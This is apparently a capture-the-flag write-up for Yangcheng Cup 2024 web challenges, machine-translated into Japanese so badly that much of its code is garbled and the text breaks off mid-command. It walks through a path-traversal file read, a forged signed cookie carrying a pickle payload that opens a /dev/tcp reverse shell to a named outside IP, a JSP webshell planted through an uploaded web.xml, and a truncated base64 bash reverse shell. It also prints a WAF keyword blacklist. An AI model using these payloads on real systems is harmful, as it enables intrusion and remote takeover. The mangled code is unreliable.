yangcheng cup-2024
web
web2
質問に関する情報を収集します。 Dirsearchは、ログインルートにアクセスできることを発見しました。さりげなくクリックして、読むファイルを見つけました:
http://139.155.126.78336030148/歌詞?歌詞=rain.txtiそれを試しました:
http://139.155.126.78336030148/歌詞?歌詞=./././././././././././././
任意のファイルの読み取りだと思いましたが、それほど単純ではありませんでした。
最初にソースコードを読んで、/static/style.cssで試してみてください。
ファイルが読み取られているディレクトリは/var/www/html/xxx/にあることがわかりました。
ソースコードが見つかりました。その後、対処が簡単になり、ソースコードが添付されます。
OSをインポートします
ランダムをインポートします
from config.secret_key Import Secret_code
フラスコからインポートフラスコ、make_response、request、render_templateから
CookieからImport set_cookie、cookie_check、get_cookieから
ピクルスをインポートします
app=flask(__name__)
app.secret_key=random.randbytes(16)
クラスuserdata:
def __init __(self、username):
self.username=username
def waf(data):
blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]
有効=false
BlackList:の単語の場合
data.lower():のword.lower()の場合
valid=true
壊す
有効に戻ります
@app.route( '/'、method=['get'])
def index():
return render_template( 'index.html')
@app.route( '/歌詞'、method=['get'])
def歌詞():
resp=make_response()
resp.headers ['content-type']='text/plain; charset=utf-8 '
query=request.args.get( '歌詞')
path=os.path.join(os.getcwd() + '/歌詞'、query)
try:
f:のオープン(パス)
res=f.read()
E:としての例外を除く
「歌詞が見つかりません」を返します
RESを返します
@app.route( '/login'、method=['post'、 'get']))
def login():
if request.method=='post ':
username=request.form ['username']
user=userdata(username)
res={'username': user.username}
return set_cookie( 'user'、res、secret=secret_code)
RENDER_TEMPLATE( 'login.html')を返します
@app.route( '/board'、method=['get'])
DEFボード():
invalid=cookie_check( 'user'、secret=secret_code)
Invalid:の場合
「いや、無効なコードが出てください!」
data=get_cookie( 'user'、secret=secret_code)
ISInstance(データ、バイト):の場合
a=pickle.loads(data)
data=str(data、encoding='utf-8')
data:にない「username」の場合
return render_template( 'user.html'、name='guest')
data ['username']=='admin':の場合
return render_template( 'admin.html'、name=data ['username']))
data ['username']!='admin':の場合
return render_template( 'user.html'、name=data ['username']))
__name__=='__main __' :の場合
os.chdir(os.path.dirname(__ file__))
app.run(host='0.0.0.0'、port=8080)がpycharmに配置されると、2つの存在しないライブラリが見つかります。そのため、現在のフォルダーの.py endingファイルのみを呼び出すことができます。
Pythonでの呼び出しが使用されます。フォルダーの代わりに、探しているのは./cookie.py and ./config/secret_key.pyです。1つ目はCookieの暗号化方法で、2番目はCookieの署名キーです。
次に、Pickle.Loadsがボードで使用されていることがわかり、WAFSにはRキャラクターがあります。それは、ピクルスの脱介入の非R方向で十分であることを意味します。
アイデア:非R方向のピクルスシリアル化スクリプトを使用して入力し、Cookie暗号化方法とキーを使用して署名し、Cookieを変更し、シェルを直接リバウンドします。
最初にcookie.pyを読む:
ソースコード:
base64をインポートします
Hashlibをインポートします
HMACをインポートします
ピクルスをインポートします
Flask Import Make_Responseから、リクエスト
unicode=str
BaseString=str
#Pythonボトルテンプレートから引用、dに感謝します
def cookie_encode(data、key):
msg=base64.b64encode(pickle.dumps(data、-1))
sig=base64.b64encode(hmac.new(tob(key)、msg、digestmod=hashlib.md5).digest()))
tob( '!') + sig + tob( '?') + msgを返します
def cookie_decode(data、key):
data=tob(data)
cookie_is_encoded(data):の場合
sig、msg=data.split(tob( '?')、1)
_LSCMP(SIG [1:]、base64.B64Encode(hmac.new(tob(key)、msg、digestmod=hashlib.md5).digest()):の場合
return pickle.loads(base64.b64decode(msg))
なしなし
def waf(data):
blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]
有効=false
BlackList:の単語の場合
data:の単語の場合
valid=true
#print(word)
壊す
有効に戻ります
def cookie_check(key、secret=none):
a=request.cookies.get(key)
data=tob(request.cookies.get(key))
data:の場合
cookie_is_encoded(data):の場合
sig、msg=data.split(tob( '?')、1)
_LSCMP(SIG [1:]、base64.B64Encode(hmac.new(tob(secret)、msg、digestmod=hashlib.md5).digest()):の場合
res=base64.b64decode(msg)
WAF(res):の場合
trueを返します
else:
falseを返します
trueを返します
else:
falseを返します
def tob(s、enc='utf8'):
s.Encode(enc)を返しますisinstance(s、unicode)else bytes(s)
def get_cookie(key、default=none、secret=none):
value=request.cookies.get(key)
秘密とvalue:の場合
dec=cookie_decode(value、Secret)
DEC [1]を返すdec and dec [0]==キーelse default
返品値またはデフォルト
def cookie_is_encoded(data):
データにbool(data.startswith(tob( '!'))およびtob( ''? ')を返す)
def _lscmp(a、b):
sum(0 x==yの場合、x==yの場合は0、zip(a、b))およびlen(a)==len(b)の場合は0
def set_cookie(name、value、secret=none、** options):
secret:の場合
value=touni(cookie_encode((name、value)、secret))
resp=make_response( 'success')
resp.set_cookie( 'user'、value、max_age=3600)
RETURN REST
ElifはISINSTANCE(Value、Basestring):ではありません
Laise TypeError( '非弦のクッキーの秘密の鍵がありません。')
Len(Value)4096:の場合
Raise ValueError( 'cookie value to long'。 ')
def touni(s、enc='utf8'、err='strict'):
s.decode(enc、err)を返すISInstance(s、bytes)else unicode(s)ここで使用する必要があるのは、cookie_encode関数であるCookieの暗号化プロセスです。
次に、secret_keyを読みましょう:
次に、スクリプト内の他のものを直接削除し、secret_codeとcookie_encryptで暗号化すると、スクリプトが添付されます。
base64をインポートします
Hashlibをインポートします
HMACをインポートします
ピクルスをインポートします
Flask Import Make_Responseから、リクエスト
フラスコのインポートフラスコから、make_responseから
app=flask(__name__)
unicode=str
BaseString=STR#Pythonボトルテンプレートから引用、Dに感謝します
def cookie_encode(data、key):
msg=base64.b64encode(data)
sig=base64.b64encode(hmac.new(tob(key)、msg、digestmod=hashlib.md5).digest()))
tob( '!') + sig + tob( '?') + msgを返します
def waf(data):
blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]
有効=false
BlackList:の単語の場合
data:の単語の場合
valid=true
#print(word)
壊す
有効に戻ります
def tob(s、enc='utf8'):
s.Encode(enc)を返しますisinstance(s、unicode)else bytes(s)
__name__=='__main __' :の場合
res=b '' ''(s'bash -c 'sh -i /dev/tcp/101.37.149.223/2333 01' '\ nios \ n。' '' '
secret_code='feantheplaytime123456'
cookie_value=cookie_encode(res、key=secret_code)
印刷(cookie_value)実行するには:
次に、 /ボードルートクッキーにコピーし、サーバーはポート2333を聴き、シェルで直接バウンスしました。
ルートディレクトリのReadflagは、フラグを取得するために直接実行されます。
web3
アクセス /MyApp入力後。次に、アクセス /読み取りに移動してファイルを読み取り、オンラインで記事を見つけます。
https://www.cnblogs.com/junglezt/p/18122284 Tomcat /conf/tomcat-users.xmlの多くが変更されないため、パスワードが内側にあることがわかります。
次に、それを見つけて、ログインに移動してログインします。
ログインした後、アップロード操作を実行できることがわかりました。そして、ここでポイントを見つけました。
web.xmlを入力すると、間違いなく禁止され、ファイルのアップロードにはフィルタリングがありません。
XMLなどの構成ファイルのみを使用できるため、構成ファイルを変更してXMLをJSPのXML構成ファイルとして直接認識し、1.xmlで渡すことができます。
?xmlバージョン='1.0'エンコード='utf-8'?
web-app xmlns='http://xmlns.jcp.org/xml/ns/javaee'
xmlns:xsi='http://www.w3.org/2001/xmlschema-instance'
XSI:SCHEMALOCATION='http://XMLNS.JCP.ORG/XML/NS/JAVAEE http://XMLNS.JCP.ORG/xml/ns/javaee/web-app_4_0.xsd'バージョン='4.0' '
サーブレット
サーブレット - ナメックス/サーブレット名
jsp-file/web-inf/1.xml/jsp-file
Load-on-startup1/load-on-startup
/サーブレット
サーブレットマッピング
サーブレット - ナメックス/サーブレット名
url-pattern/exec/url-pattern
/サーブレットマッピング
/web-app次に、1.xmlで渡されて、JSPファイルとして認識できるかどうかを確認しようとします。私たちが渡すのはトロイの木馬です:
%
out.println( 'hello');
プロセスプロセス=runtime.getRuntime()。exec(request.getParameter( 'cmd'));
%
読み取りは絶対的なパスを使用して読み取り、その後、絶対的なパスはその /envルートにあります。そして、あなたはそれを手に入れるためにチャットに尋ねることができます。次に、アクセスが成功した後、構成ファイルで定義された /execルートにアクセスし、CMDパラメーターを渡し、hello:Echo Helloを確認するために任意のパラメーターを渡すことがわかりました。
成功したエコーは、JSPトロイの木馬が渡されたことを示していることがわかります。JSPリバウンドシェルを直接使用してヒットします。
bash -c {echo、ymfzacatasa+jiavzgv2l3rj